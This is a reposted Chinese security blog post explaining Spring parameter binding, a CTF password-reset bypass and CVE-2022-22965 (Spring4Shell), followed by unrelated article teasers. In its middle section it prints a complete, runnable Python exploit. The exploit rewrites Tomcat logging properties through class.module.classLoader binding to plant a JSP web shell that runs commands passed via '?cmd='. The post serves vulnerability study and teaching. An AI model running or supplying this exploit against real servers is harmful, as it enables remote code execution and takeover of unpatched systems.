JAVA安全之Spring參數綁定漏洞CVE-2022-22965

前言

在介紹這個漏洞前,介紹下在spring下的參數綁定

在Spring框架中,參數綁定是一種常見的操作,用于將HTTP請求的參數值綁定到Controller方法的參數上。下面是一些示例,展示了如何在Spring中進行參數綁定:

示例1:

@Controller
@RequestMapping("/user")
public class UserController {@GetMapping("/{id}")public String getUserById(@PathVariable("id") int userId, Model model) {// 根據userId查詢用戶信息并返回User user = userService.getUserById(userId);model.addAttribute("user", user);return "user";}@PostMapping("/add")public String addUser(@RequestParam("name") String name, @RequestParam("age") int age, Model model) {// 創建新用戶并保存到數據庫User newUser = new User(name, age);userService.addUser(newUser);model.addAttribute("user", newUser);return "user";}
}

上述示例中,我們使用了@PathVariable@RequestParam注解來進行參數綁定:

  • @PathVariable用于將URL中的路徑變量與方法參數進行綁定。在getUserById方法中,我們將URL中的"id"作為參數綁定到userId上。

  • @RequestParam用于將HTTP請求參數與方法參數進行綁定。在addUser方法中,我們將請求參數"name"和"age"分別綁定到nameage上。

通過這種方式,Spring框架能夠自動將請求參數的值綁定到Controller方法的參數上,簡化了參數處理的過程。

示例2:

在Spring框架中,除了綁定基本類型的參數外,我們也經常需要綁定對象作為方法的參數。下面是一個示例,展示了如何在Spring中進行對象的參數綁定:

假設有一個名為User的JavaBean類:

javaCopy Codepublic class User {private String name;private int age;// 省略構造函數、getter和setter 
}

然后在Controller中,我們可以將User對象作為方法的參數進行綁定

javaCopy Code@Controller
@RequestMapping("/user")
public class UserController {@PostMapping("/add")public String addUser(@ModelAttribute User user, Model model) {// 通過@ModelAttribute注解將HTTP請求參數綁定到User對象userService.addUser(user);model.addAttribute("user", user);return "user";}
}

我們使用了@ModelAttribute注解將HTTP請求參數綁定到User對象上。Spring框架會自動根據HTTP請求的參數名和User對象的屬性名進行匹配,并進行對象的參數綁定。

當客戶端發送一個包含name和age參數的POST請求時,Spring框架將自動創建一個User對象,并將請求參數的值綁定到User對象的對應屬性上。

這種方式能夠方便地處理復雜的對象綁定工作,使得我們在Controller中可以直接操作領域對象,而無需手動解析和綁定參數。

參數綁定漏洞

參數綁定這個機制,使得我們對綁定的對象實現了可控。如果代碼對這個對象又做了其他驗證處理,那么就非常可能導致某種邏輯漏洞,繞過漏洞。

看如下的代碼

@Controller
@SessionAttributes({"user"})
public class ResetPasswordController {private static final Logger logger = LoggerFactory.getLogger(ResetPasswordController.class);@Autowiredprivate UserService userService;public ResetPasswordController() {}@RequestMapping(value = {"/reset"},method = {RequestMethod.GET})public String resetViewHandler() {logger.info("Welcome reset ! ");return "reset";}@RequestMapping(value = {"/reset"},method = {RequestMethod.POST})public String resetHandler(@RequestParam String username, Model model) {logger.info("Checking username " + username);User user = this.userService.findByName(username);if (user == null) {logger.info("there is no user with name " + username);model.addAttribute("error", "Username is not found");return "reset";} else {model.addAttribute("user", user);return "redirect:resetQuestion";}}@RequestMapping(value = {"/resetQuestion"},method = {RequestMethod.GET})public String resetViewQuestionHandler(@ModelAttribute User user) {logger.info("Welcome resetQuestion ! " + user);return "resetQuestion";}@RequestMapping(value = {"/resetQuestion"},method = {RequestMethod.POST})public String resetQuestionHandler(@RequestParam String answerReset, SessionStatus status, User user, Model model) {logger.info("Checking resetQuestion ! " + answerReset + " for " + user);if (!user.getAnswer().equals(answerReset)) {logger.info("Answer in db " + user.getAnswer() + " Answer " + answerReset);model.addAttribute("error", "Incorrect answer");return "resetQuestion";} else {status.setComplete();String newPassword = GeneratePassword.generatePassowrd(10);user.setPassword(newPassword);this.userService.updateUser(user);model.addAttribute("message", "Your new password is " + newPassword);return "success";}}}

由于有了參數綁定這個機制,user對象是我們用戶可控的!,可是在post提交的/resetQuestion 方法中if(!user.getAnswer().equals(answerReset)) 居然從user對象中取數據來做驗證,那么我們可以嘗試利用參數綁定的機制,參數設為?answer=hello&answerReset=hello,使得equals成功,從而繞過驗證。

參考自動綁定漏洞_對象自動綁定漏洞-CSDN博客

war包下載https://github.com/3wapp/ZeroNights-HackQuest-2016

CVE-2022-22965

受影響范圍: Spring Framework < 5.3.18 Spring Framework < 5.2.20 JDK ≥ 9 不受影響版本: Spring Framework = 5.3.18 Spring Framework = 5.2.20 JDK < 9 與Tomcat版本有關

注:jdk版本的不同,可能導致漏洞利用成功與否

思考:參數綁定可以給對應對象的屬性賦值,有沒有一種可能可以給其他的對象賦值?

為了實現這種可能,先了解下參數綁定的底層機制!

由于java語言復雜的對象繼承關系,參數綁定也有多級參數綁定的機制。如contry.province.city.district=yuelu,
其內部的調用鏈也應是
Contry.getProvince()
????????Province.getCity()
????????????????City.getDistrict()
????????????????????????District.setDistrictName()

Spring自帶: BeanWrapperlmpl------Spring容器中管理的對象,自動調用get/set方法
BeanWrapperlmpl是對PropertyDescriptor的進一步封裝

我們都知道在Java中,所有的類都隱式地繼承自java.lang.Object類。 Object類是Java中所有類的根類,它定義了一些通用的方法,因此這些方法可以在任何對象上調用。

  • getClass(): 返回對象所屬的類。

是否可以通過class對象跳轉到其他對象上。

在spring是世界中一切都是javabean,就連輸出的log日志也是一個javabean,如果我們能夠修改這個javabean,就意味著輸出的log后綴名可控,其內容也可控。那好我們直接改成jsp馬的形式

漏洞搭建復現

我們使用maven工具加入spring boot,模擬一個參數綁定的Controller,生成war包放入tomcat中

參考文章Spring 遠程命令執行漏洞(CVE-2022-22965)原理分析和思考 (seebug.org)

附上poc

import requests
import argparse
from urllib.parse import urlparse
import time# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()post_headers = {"Content-Type": "application/x-www-form-urlencoded"
}get_headers = {"prefix": "<%","suffix": "%>//",# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern"c": "Runtime",
}def run_exploit(url, directory, filename):log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times# If re-running the exploit, this will create an artifact of {old_file_name}_.jspfile_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"print("[*] Resetting Log Variables.")ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)print("[*] Response code: %d" % ret.status_code)# Change the tomcat log location variablesprint("[*] Modifying Log Configurations")ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)print("[*] Response code: %d" % ret.status_code)# Changes take some time to populate on tomcattime.sleep(3)# Send the packet that writes the web shellret = requests.get(url, headers=get_headers, verify=False)print("[*] Response Code: %d" % ret.status_code)time.sleep(1)# Reset the pattern to prevent future writes into the filepattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="print("[*] Resetting Log Variables.")ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)print("[*] Response code: %d" % ret.status_code)def main():parser = argparse.ArgumentParser(description='Spring Core RCE')parser.add_argument('--url', help='target url', required=True)parser.add_argument('--file', help='File to write to [no extension]', required=False, default="bak")parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',required=False, default="webapps/ROOT")file_arg = parser.parse_args().filedir_arg = parser.parse_args().dirurl_arg = parser.parse_args().urlfilename = file_arg.replace(".jsp", "")if url_arg is None:print("Must pass an option for --url")returntry:run_exploit(url_arg, dir_arg, filename)print("[+] Exploit completed")print("[+] Check your target for a shell")print("[+] File: " + filename + ".jsp")if dir_arg:location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"else:location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=whoami"print(f"[+] Shell should be at: {location}?cmd=whoami")except Exception as e:print(e)if __name__ == '__main__':main()

注意這個poc的邏輯 先向log文件中打入馬的形式,其部分關鍵語段用占位符代替,這也是為了繞過防護機制的手段。之后請求的包在header將占位符填上,這時一個jsp就此形成

訪問馬

漏洞調試分析

給參數綁定的入函數打上斷點

瞅見了我們傳入的參數了吧

第一次循環這一次this還在User中(包裝對象)

第二次循環跳出user對象了

有興趣的同學可調試進入分析一哈,具體的代碼邏輯為什么跳到了class對象?以博主目前的功力雖然調了很多次?但始終無法對這個機制了解徹底,所以這里也不在深究了.....

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/213663.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/213663.shtml
英文地址,請注明出處:http://en.pswp.cn/news/213663.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

2024年C語言基礎知識入門來了,一文搞定C語言基礎知識!

一、C語言基礎知識入門 c語言基礎知識入門一經出現就以其功能豐富、表達能力強、靈活方便、應用面廣等特點迅速在全世界普及和推廣。C語言不但執行效率高而且可移植性好&#xff0c;可以用來開發應用軟件、驅動、操作系統等&#xff0c;2024年C語言基礎知識入門大全。C語言基礎…

Spring boot 使用Redis 消息發布訂閱

Spring boot 使用Redis 消息發布訂閱 文章目錄 Spring boot 使用Redis 消息發布訂閱Redis 消息發布訂閱Redis 發布訂閱 命令 Spring boot 實現消息發布訂閱發布消息消息監聽主題訂閱 Spring boot 監聽 Key 過期事件消息監聽主題訂閱 最近在做請求風控的時候&#xff0c;在網上搜…

postgreSql邏輯復制常用語句匯總和說明

簡單說明 postgreSql邏輯復制的原理這里不再贅述&#xff0c;度娘一下即可。這里只是對常用的語句做一些匯總和說明&#xff0c;以便日后查找時方便。 邏輯復制的概念 邏輯復制整體上采用的是一個發布訂閱的模型&#xff0c;訂閱者可以訂閱一個或者多個發布者&#xff0c; 發…

全套的外貿出口業務流程,趕緊收藏起來吧

很多做外貿的小伙伴入行遇到的第一個問題就是對外貿業務流程的不熟悉&#xff0c;今天小易給大家整理了一份外貿業務全流程&#xff0c;從開發客戶到售后服務一整套流程&#xff0c;一起來看看吧&#xff01; 目前做外貿開發客戶的渠道一般有以下幾種&#xff1a; 1、自建站、外…

如何在 Windows 中恢復已刪除的 Excel 文件?– 8 個有效方法!

如何恢復已刪除的Excel文件&#xff1f;如果您不小心刪除了 Excel 文件或該文件已損壞&#xff0c;您無需擔心會丟失寶貴的數據。MiniTool 分區向導的這篇文章提供了 8 種有效的方法來幫助您恢復它們。 Microsoft Excel 是 Microsoft 為 Windows、macOS、Android、iOS 和 iPad…

【lesson4】數據類型之數值類型

文章目錄 數據分類數值類型tinyint類型有符號類型測試無符號類型測試 bit類型測試 float類型有符號測試無符號測試 decimal類型測試 數據分類 數值類型 tinyint類型 說明&#xff1a;tinyint 有符號能存儲的范圍是-128-127&#xff0c;無符號能存儲的范圍是0~255 有符號類型…

藍橋杯-動態規劃專題-子數組系列,雙指針

目錄 一、單詞拆分 二、環繞字符串中唯一的子字符串 雙指針-三數之和 ArrayList(Arrays.asList(array)) 四、四數之和&#xff08;思路和三數之和一樣&#xff0c;只是多了一層循環&#xff09; 一、單詞拆分 1.狀態表示 dp[i]:到達i位置結尾&#xff0c;能否被dict拆分 …

Terraform實戰(二)-terraform創建阿里云資源

1 初始化環境 1.1 創建初始文件夾 $ cd /data $ mkdir terraform $ mkdir aliyun terraform作為terraform的配置文件夾&#xff0c;內部的每一個.tf&#xff0c;.tfvars文件都會被加載。 1.2 配置provider 創建providers.tf文件&#xff0c;配置provider依賴。 provider…

想學編程,但不知道從哪里學起,應該怎么辦?

怎樣學習任何一種編程語言 我將教你怎樣學習任何一種你將來可能要學習的編程語言。本書的章節是基于我和很多程序員學習編程的經歷組織的&#xff0c;下面是我通常遵循的流程。 1&#xff0e;找到關于這種編程語言的書或介紹性讀物。 2&#xff0e;通讀這本書&#xff0c;把…

MYSQL數據類型詳解

MySQL支持多種數據類型&#xff0c;這些數據類型可以分為三大類&#xff1a;數值、日期和時間以及字符串&#xff08;字符&#xff09;類型。這些數據類型可以幫助我們根據需要選擇合適的類型來存儲數據。選擇合適的數據類型對于確保數據的完整性和性能至關重要。 以下…

RHEL8_Linux用rpm管理軟件

本章主要介紹使用rpm對軟件包進行管理 使用rpm查詢軟件的信息使用rpm安裝及卸載軟件使用rpm對軟件進行更新使用rpm對軟件進行驗證 rpm 全稱是redhat package manager&#xff0c;后來改成rpm package manager&#xff0c;這是根據源碼包編譯出來的包。先從光盤中拷貝一個包&am…

基于Java Swing泡泡龍游戲(Java畢業設計)

大家好&#xff0c;我是DeBug&#xff0c;很高興你能來閱讀&#xff01;作為一名熱愛編程的程序員&#xff0c;我希望通過這些教學筆記與大家分享我的編程經驗和知識。在這里&#xff0c;我將會結合實際項目經驗&#xff0c;分享編程技巧、最佳實踐以及解決問題的方法。無論你是…

AP9111手電筒專用集成電路芯片 單節干電池 LED手電筒IC

概述 AP9111 是 LED 手電筒專用集成電路芯片 &#xff0c;是一款采用大規模集成電路技術&#xff0c;專門針對單節干電池的 LED 手電筒設計的一款專用集成電路。外加 1 個電感元件&#xff0c;即可構成 LED 手電筒驅動電路板。AP 9111 性能優越、可靠性高、使用簡單、生產一致…

六級高頻詞匯3

目錄 單詞 參考鏈接 單詞 400. nonsense n. 胡說&#xff0c;冒失的行動 401. nuclear a. 核子的&#xff0c;核能的 402. nucleus n. 核 403. retail n. /v. /ad. 零售 404. retain vt. 保留&#xff0c;保持 405. restrict vt. 限制&#xff0c;約束 406. sponsor n. …

聊個開心的敏捷話題——40小時工作制

近年來&#xff0c;加班現象在很多行業已經普遍制度化&#xff0c;甚至“996”已成為一些行業標簽。企業高強度的壓榨讓員工不堪重負&#xff0c;且時常由此引發的各種悲劇也并不鮮見。 所以&#xff0c;今天我們一起來聊一個開心輕松的話題——極限編程的40h工作制原則。 40…

Leetcode(一)兩數之和

兩數之和 暴力 雙層循環 兩兩相加 等于目標值 返回 即可 class Solution {public int[] twoSum(int[] nums, int target) {for(int i0;i<nums.length;i){for(int j0;j<nums.length;j){if(nums[i]nums[j]target && i!j){int[] a{i,j};return a;}}}return null;…

kafka主題分區副本集群的概念

Kafka是一個高性能、分布式的消息系統&#xff0c;用于處理大規模的實時數據流。為了更好地理解Kafka的原理和使用&#xff0c;以下是Kafka中幾個重要概念的解釋&#xff1a; 主題&#xff08;Topic&#xff09;: Kafka中的最基本概念&#xff0c;相當于一個數據流或者消息流的…

【環境搭建】ubuntu22安裝ros2

基于某種特殊需求&#xff0c;從Ubuntu16到22目前都嘗試過安裝ros、ros2 參考1&#xff1a;http://t.csdnimg.cn/DzvSe 參考2&#xff1a;http://t.csdnimg.cn/sOzr1 1.設置locale sudo apt update && sudo apt install locales sudo locale-gen en_US en_US.UTF-8 s…

SQL注入漏洞檢測

預計更新SQL注入概述 1.1 SQL注入攻擊概述 1.2 SQL注入漏洞分類 1.3 SQL注入攻擊的危害 SQLMap介紹 2.1 SQLMap簡介 2.2 SQLMap安裝與配置 2.3 SQLMap基本用法 SQLMap進階使用 3.1 SQLMap高級用法 3.2 SQLMap配置文件詳解 3.3 SQLMap插件的使用 SQL注入漏洞檢測 4.1 SQL注入…

Spring的IOC容器初始化流程

Spring的IOC容器初始化流程 IOC容器初始化在SpringApplication對象創建完畢執行run方法時執行refreshContext()時開始。 準備BeanFactory&#xff0c;設置其類加載器和environment等 執行BeanFactory后置處理器&#xff0c;掃描要放入容器的Bean信息&#xff0c;得到對應的Bea…